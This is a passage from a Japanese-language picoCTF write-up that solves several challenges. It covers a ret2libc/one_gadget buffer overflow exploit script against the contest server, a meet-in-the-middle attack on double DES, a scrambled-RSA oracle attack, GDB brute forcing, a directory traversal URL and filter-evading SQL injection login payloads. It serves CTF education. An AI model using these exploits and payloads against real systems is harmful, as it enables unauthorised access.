elf = ELF("./vuln")
libc = ELF("./libc.so.6")

pop_rdi = 0x400913
main = 0x400771
ret = 0x400770

io = process("./vuln")
#io = remote('mercury.picoctf.net',24159)
io.recvuntil("WeLcOmE To mY EcHo sErVeR!")

payload = b"A"*136 + p64(pop_rdi) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(main)
print("payload:%s" % payload)
io.sendline(payload)
output = io.recvuntil("WeLcOmE To mY EcHo sErVeR!")
print("output:%s" % output)
puts_addr = u64(output.split(b"\n")[2][0:6]+b"\x00\x00")
libc_base = puts_addr - libc.symbols["puts"]
print("libc_base:%s" % hex(libc_base))

io.close()

GOTのputs関数のアドレスを出力させ、これをlibc.so.6上のputs関数のアドレスで減算してlibc.so.6のベースアドレスを算出する。GOTのputs以外の関数を使用しても構わない。

libcのベースアドレス算出

libcのベースアドレスが得られる。あとはこれを使ってOneGadgetを実行させればシェルを起動できる。

solve.py (2)
from pwn import *

elf = ELF("./vuln")
libc = ELF("./libc.so.6")

one_gadgets = [0x4f365,0x4f3c2,0x10a45c]
select_gadget = 1

pop_rdi = 0x400913
main = 0x400771
ret = 0x400770

#io = process("./vuln")
io = remote('mercury.picoctf.net',24159)
io.recvuntil("WeLcOmE To mY EcHo sErVeR!")

payload = b"A"*136 + p64(pop_rdi) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(main)
print("payload:%s" % payload)
io.sendline(payload)
output = io.recvuntil("WeLcOmE To mY EcHo sErVeR!")
print("output:%s" % output)
puts_addr = u64(output.split(b"\n")[2][0:6]+b"\x00\x00")
libc_base = puts_addr - libc.symbols["puts"]
print("libc_base:%s" % hex(libc_base))

payload = b"A"*136 + p64(libc_base+one_gadgets[select_gadget]) + b"\x00"*128
io.sendline(payload)
io.interactive()

最終的なサーバーに対するエクスプロイトコードはこのようになった。

solve

シェルが起動して、flagを入手できる。

Double DES (120point picoGym)

ddes.pyが配布され、サーバー上で動作している。コンペ中に中間一致攻撃を使用して突破できることはわかっていたが、実装時間が足りなかった問題。

ddes.py
#!/usr/bin/python3 -u
from Crypto.Cipher import DES
import binascii
import itertools
import random
import string


def pad(msg):
    block_len = 8
    over = len(msg) % block_len
    pad = block_len - over
    return (msg + " " * pad).encode()

def generate_key():
    return pad("".join(random.choice(string.digits) for _ in range(6)))


FLAG = open("flag").read().rstrip()
KEY1 = generate_key()
KEY2 = generate_key()


def get_input():
    try:
        res = binascii.unhexlify(input("What data would you like to encrypt? ").rstrip()).decode()
    except:
        res = None
    return res

def double_encrypt(m):
    msg = pad(m)

    cipher1 = DES.new(KEY1, DES.MODE_ECB)
    enc_msg = cipher1.encrypt(msg)
    cipher2 = DES.new(KEY2, DES.MODE_ECB)
    return binascii.hexlify(cipher2.encrypt(enc_msg)).decode()


print("Here is the flag:")
print(double_encrypt(FLAG))

while True:
    inputs = get_input()
    if inputs:
        print(double_encrypt(inputs))
    else:
        print("Invalid input.")

接続するたびにランダムに生成される2つの暗号キーを使って、flagを2回DES暗号にかけた結果を出力し、同じキーを使用して任意の入力文字列を暗号化することができる。

中間一致攻撃

DES暗号を二重にかけているが、既知の平文と暗号文を知ることができることから、中間一致攻撃が通用する。これは既知の平文を一重DESで暗号化した結果と、既知の暗号文を一重DESで復号化した結果が一致するような2つの暗号キーを見つけるもので、平文と暗号文を全ての暗号キーのパターンで暗号化及び復号化したリストを作って一致するものを探す。一重DESを攻撃する場合と同じ計算コストで暗号キーを見つけることができる。

今回のケースでは暗号キーが6桁の数字となるため、100万通りの暗号リストと100万通りの復号リストを比較して暗号キーを特定できる。

きれいではないが以下にsolverを作成した。低速なPythonでリストを比較するためには工夫が必要で、他の参加者の方が上手いやり方を教えてくれたので同様の方法で実装している。

solve 1

ncでサーバーに接続して、flagの暗号文と、例として00000000を入力して暗号文を入手し、これらをsolverに入れて動作させる。

solve.py
#!/usr/bin/python3 -u
from Crypto.Cipher import DES
import binascii
import itertools
import random
import string


def pad(msg):
    block_len = 8
    over = len(msg) % block_len
    pad = block_len - over
    return (msg + " " * pad).encode()

def double_encrypt(m,KEY1,KEY2):
    msg = pad(m)

    cipher1 = DES.new(KEY1, DES.MODE_ECB)
    enc_msg = cipher1.encrypt(msg)
    cipher2 = DES.new(KEY2, DES.MODE_ECB)
    return binascii.hexlify(cipher2.encrypt(enc_msg)).decode()

def pad2(num):
    _zero = 6 - len(str(num))
    return pad("0" * _zero + str(num))

def encrypt(m,key):
    msg = pad(m)
    cipher1 = DES.new(key, DES.MODE_ECB)
    return binascii.hexlify(cipher1.encrypt(msg)).decode()

def decrypt(m,key):
    msg = m
    cipher1 = DES.new(key, DES.MODE_ECB)
    return binascii.hexlify(cipher1.decrypt(msg)).decode()

def double_decrypt(m,KEY1,KEY2):
    msg = m
    cipher1 = DES.new(KEY1, DES.MODE_ECB)
    enc_msg = cipher1.decrypt(msg)
    cipher2 = DES.new(KEY2, DES.MODE_ECB)
    return (cipher2.decrypt(enc_msg)).decode()



DEC = binascii.unhexlify("00000000").decode()
ENC = binascii.unhexlify("f59419c93a0def0c")

ENC_FLAG = binascii.unhexlify("544bff3ba2166182ea74047a86e656708df3c3b62598d9d5d06387f7c3b7290f73a64d2959a8e0e4")

listA = {}
for i in range(1,999999,1):
        KEY1 = pad2(i)
        dd = encrypt(DEC,KEY1)
        listA[dd] = KEY1

for j in range(1,999999,1):
        KEY2 = pad2(j)
        dd = decrypt(ENC,KEY2)
        if dd in listA:
                KEY1 = listA[dd]
                print("KEY1:"+KEY1.decode())
                print("KEY2:"+KEY2.decode())
                print(double_decrypt(ENC_FLAG,KEY2,KEY1))
                break
solve 2

flagは通常の形式ではない:cb120914153b84dbc68fedd574b395f2

Milkslap (120point picoGym)

ミルクをぶちまけられるPNGスライドショーが表示されるが、無視して縦長のPNG画像を青空白猫(うさみみハリケーン)に突っ込む。

ビット抽出

適当なビット抽出にかけると、左上に小さな黒い点が出現する。いかにも2進数列っぽいので左上を切り取ってbits.pngとして保存して、Pythonでビットを取り出すコードを書く。

solve.py
import cv2
import numpy as np

img = cv2.imread('bits.png')
img_array = np.asarray(img)
img_array2 = cv2.cvtColor(img_array, cv2.COLOR_BGR2RGB)
bits = ""
for i in range(0,img.shape[1],1):
        if img_array2[0][i][0]==0x00:
                bits += "1"
        else :
                bits += "0"
bits =  bits + "0" * (len(bits)%8)

str = ""
for i in range(0,len(bits),8):
        str += chr(int(bits[i:i+8],2))
print(str)

実行するとflagが出てくる。picoCTF{imag3_m4n1pul4t10n_sl4p5}

Super Serial (130point picoGym)

ログイン画面が表示され、flagを探す。ヒントにflagの場所は../flagと書かれているので、ログイン画面でのインジェクションではなくディレクトリトラバーサル攻撃に的を絞る。

http://mercury.picoctf.net:3449/..%2fflag

何パターンか試したところ、/を%2fでエスケープしたところ成功。

picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_b4e3f8b1}

Scrambled: RSA (140point picoGym)

プログラムコードは配布されず、サーバーに接続すると暗号化されたflagと公開鍵(n,e)が表示されたあと、任意の文字を繰り返し暗号化することができる。出力暗号文の長さは公開鍵n以上の長さとなっているが、文字数を増やしていくと概ねnの大きさ×文字数分出力されるので、1文字ずつ公開鍵で暗号化してつなげている可能性がある。どのようにつなげているかよく見ていく。

nc mercury.picoctf.net 4572
n: 106307432840052487502887436774261999927718681887216154236296867387167633009493309791560379452375202094902215831351674241337379186740801976965037730277200138843142512316268447156206443890462130272613236067232722074325862730220821104600663790353551047736132434586709084624813757354247439307758620096664924383179
e: 65537
I will encrypt whatever you give me: a
Here you go: 11275519584467551449769385704142878113999009731060707444975711307091618519722127082391039186916109969811087440657591085188192488353948932568603713162699186663073602916912850356765847267697857711773127289795362545337869443096275651963730217820383074581308599179571368656765770495982278022260459676934226050188

文字「a」を入力して得られる暗号文は112755...となっているが、手元で「a」をnとeで暗号化した出力は異なっており、何らかのpadding処理が施されている可能性がある。どのようなデータが入っているのかを特定しなければnを使って各文字の暗号文からflagを復元することは難しそうだ。

nc mercury.picoctf.net 4572
I will encrypt whatever you give me: aa
Here you go: 3405541946470311347110486036266188793666903924797724448885466992655349128325682129843066255480484379224829841064499411281405518434182282417878352368577598640183650215096887349050381994030730957447035984734360052435117041598661603122720081566397976566533749784111679084030319257002591626819363443902280727885811275519584467551449769385704142878113999009731060707444975711307091618519722127082391039186916109969811087440657591085188192488353948932568603713162699186663073602916912850356765847267697857711773127289795362545337869443096275651963730217820383074581308599179571368656765770495982278022260459676934226050188
I will encrypt whatever you give me: aa
Here you go: 1127551958446755144976938570414287811399900973106070744497571130709161851972212708239103918691610996981108744065759108518819248835394893256860371316269918666307360291691285035676584726769785771177312728979536254533786944309627565196373021782038307458130859917957136865676577049598227802226045967693422605018834055419464703113471104860362661887936669039247977244488854669926553491283256821298430662554804843792248298410644994112814055184341822824178783523685775986401836502150968873490503819940307309574470359847343600524351170415986616031227200815663979765665337497841116790840303192570025916268193634439022807278858

続いて文字「aa」の暗号文は2種類が出力される。よく見ると異なる位置に「a」の暗号文が含まれていることがわかる。出力データは割愛するが、さらに文字「aaa」を暗号化すると出力は6種類になり、「a」の暗号文が異なる位置に出力されていた。

さて、この時点で規則性がわかってきた。先頭から数えてi番目のaを(a,i)とするしたとき、何らかの関数func(a,i)で文字と位置が分かるようにした出力をencryptして、それをバラバラに並び替えたものを出力していると考えられる。3文字であれば、123,132,213,231,312,321の組み合わせの暗号文がランダムに出力されるため、6種類の暗号文におなる。

暗号文の組み合わせ

ここまでわかれば解くことができる。申し訳ないが公開鍵n,eは使用しない。flagの暗号文は「文字の種類」と「文字の位置」ごとに固有の暗号文をランダムにつなぎ合わせたものとなっているので、各文字の各位置ごとの暗号文のテーブルを作ってしまえばよい。flagの暗号文に含まれるものを列挙していけば元のflagを復元できる。

例えば、flagは26文字(暗号文の長さからわかる)なので、アルファベットのaがflagのどの位置に含まれているかを調べるには、aからaaaaaaaaaaaaaaaaaaaaaaaaaaまでの文字列の暗号文から、1文字目から26文字目までのaに対応する暗号文を得ればよい。「a」からは1文字目の「a」に対応する暗号文が得られるので、「aa」の暗号文から1文字目の「a」の暗号文を取り除けば2文字目の「a」の暗号文を特定できる。これを「aaa」「aaaa」と続けていけば、n文字目の「a」に対応する暗号文を揃えることができる。これをさらにa以外の文字に対しても行い、flagに含まれる暗号文を見つけていく。

この考え方で書いたsolverは以下の通り。各文字の列挙には時間がかかるため、実際には多少試行錯誤してflagに含まれる文字の種類を絞り込んで減らしたものとなっている。別に半角英数字全体をstrsに入れても正常に動作する。

solve.py
from pwn import *
import math

strs = "picoCTF{0123456789abdef_}"

io = remote('mercury.picoctf.net',4572)
c = io.recvline()[6:].decode()
n = io.recvline()[3:].decode()
e = io.recvline()[3:].decode()

repeats = round(math.log2(int(c))/math.log2(int(n)))
print("FLAG LEN:%s" % repeats)

flag = []
for i in range(0,repeats,1):
        flag += ["*"]

for i in strs:
        signature_list = []
        for j in range(1,repeats+1,1):
                io.recvuntil("I will encrypt whatever you give me:")
                m = i*j
                io.sendline(m)
                res = io.recvline().rstrip()[14:].decode() #Here you go: 
                for k in range(0,j-1,1):
                        res = res.replace(signature_list[k],"")
                signature_list += [res]
                
                #print("(j,res)=(%s,%s)" % (j,len(res)))
        for j in range(0,repeats,1):
                if signature_list[j] in c:
                        flag[j] = i
        print("FLAG:%s" % "".join(flag))
io.close()

実行するとflagが得られる。

solve

picoCTF{bad_1d3a5_3525501}

Easy as GDB (160point picoGym)

実行ファイルbruteが配布される。タイトルからしてGDBの使い方を鍛える問題。そのつもりで解く。

実行

実行するとflagを入力して正しいものかどうかをチェックしている。実行ファイル内にフラグをチェックする機能があることから、攻略方法はフラグを逆算するかフラグを総当りで入力するかの2方向になる。

Ghidraでのコード表示

Ghidraでフラグをチェックしている部分のコードを確認する。最後にループで先頭から1文字ずつ比較して、異なっていればその場でbreakをかけていることから、カウンタの値を基準に総当りを仕掛けることができそうだ。

gdb-pedaを起動して、if文に該当するアドレスにbreakpointを張る。b *0x56555990

gdb-pedaの画面

上記の画像はpicoCTF{test}を入力してbreakpointを繰り返し表示させている様子。stack内にスクランブルされた入力flagと正しいflagが見える。また、stackの0xffffd184にカウンタが入っている。

今回はPythonによるGDBの操作を行い、ループのカウンタが入っているstackの値を取得しながら、カウンタが増えるまで入力flagを総当りするスクリプトを書いてみる。

solve.py
import gdb
import string

flag = 'picoCTF{'
flagtext = string.ascii_letters + string.digits + '_}'
textAt = 0

gdb.execute("file brute")
gdb.execute("b *0x565559ad")

gdb.execute("start")
gdb.execute("run <<< " + flag)
count = gdb.execute("x/s 0xffffd184", to_string=True)[13:]

while(True):
        gdb.execute("start")
        gdb.execute("run <<< " + flag+flagtext[textAt])
        _count = gdb.execute("x/s 0xffffd184", to_string=True)[13:]
        
        if count!=_count:
                count = _count
                flag += flagtext[textAt]
                print(flag)
                if flagtext[textAt]=='}':
                        break
                textAt = 0
        else :
                textAt += 1
                if textAt > len(flagtext):
                        break
gdb.execute("quit")

このスクリプトではループを抜けた後にbrekapointを設定して、最初に既知のpicoCTF{を入力してbruteを実行、stack上のカウンタ値を取得する。続いて1文字ずつ総当りしながらカウンタ値を取得して値が変化すればヒットと判定してflag文字列を1文字ずつ特定していく。

次のコマンドでgdbでスクリプトを実行する。

gdb -x solve.py

しばらく待つとflagが手に入る。picoCTF{I_5D3_A11DA7_0db137a9}

Web Gauntlet 2 (170point picoGym)

コンペ中は気付かなかったが、picoCTF2020 Mini-CompetitionのWeb Gauntletの続編のようだ。Filterによって入力文字列が制限されたSQL Injection問題で、UsernameとPasswordを入力してadminとしてログインすればクリアとなる。Filter及び実行されるSQLクエリは以下の通り。

Filters: or and true false union like = < > ; -- /* */ admin
SELECT username, password FROM users WHERE username='Username' AND password='Password'

UsernamePasswordのところに入力文字列が入る。また、適当に長い文字列を入力するとCombined input lengths too long! (> 35)と言われてしまうので、入力文字列は35文字以下にしなければいけない。

SQLite3のためのSQLリファレンス( https://qiita.com/tetr4lab/items/691ceeb528d6144547c8 )を参考にして使えそうなものを探すと、まずadminは文字列の結合||を利用してad'||'minとすれば回避できる。次が問題で、FilterによってORとコメントが禁止されており、後半のAND passwordの部分が邪魔だから消したい。そこでsubstrを使用する。substr(X,Y,Z)は文字列XのY番目からZ個の文字を取り出すもので、これを利用してAND以降をなくしてしまおう。

Username: ad'||'min'||substr(
Password: ,0,0)||'
SELECT username, password FROM users WHERE username='ad'||'min'||substr(' AND password=',0,0)||''

substrでAND以降を文字列として解釈させ、0文字を取り出して||でadminに結合することでなかったことにしてしまう。

solve

adminとしてログインでき、filter.phpにflagが表示される。

Web Gauntlet 3 (300point picoGym)

Web Gauntlet 2の続編。FilterルールはWeb Gauntlet 2と全く同じで、入力文字列の制限が25文字以下まで強化されている。ぶっちゃけ2で使った解法が強すぎたため、少し工夫して文字列を減らせば通ってしまった。

Username: ad'||substr(
Password: ,0,0)||'min
SELECT username, password FROM users WHERE username='ad'||substr(' AND password=',0,0)||'min'

2と同じくsubstrでAND以降を文字列として解釈させ、0文字を取り出して||でadminに結合することでなかったことにする。||の数を減らすことができたため25文字以内に収まった。

solve

adminとしてログインでき、filter.phpにflagが表示される。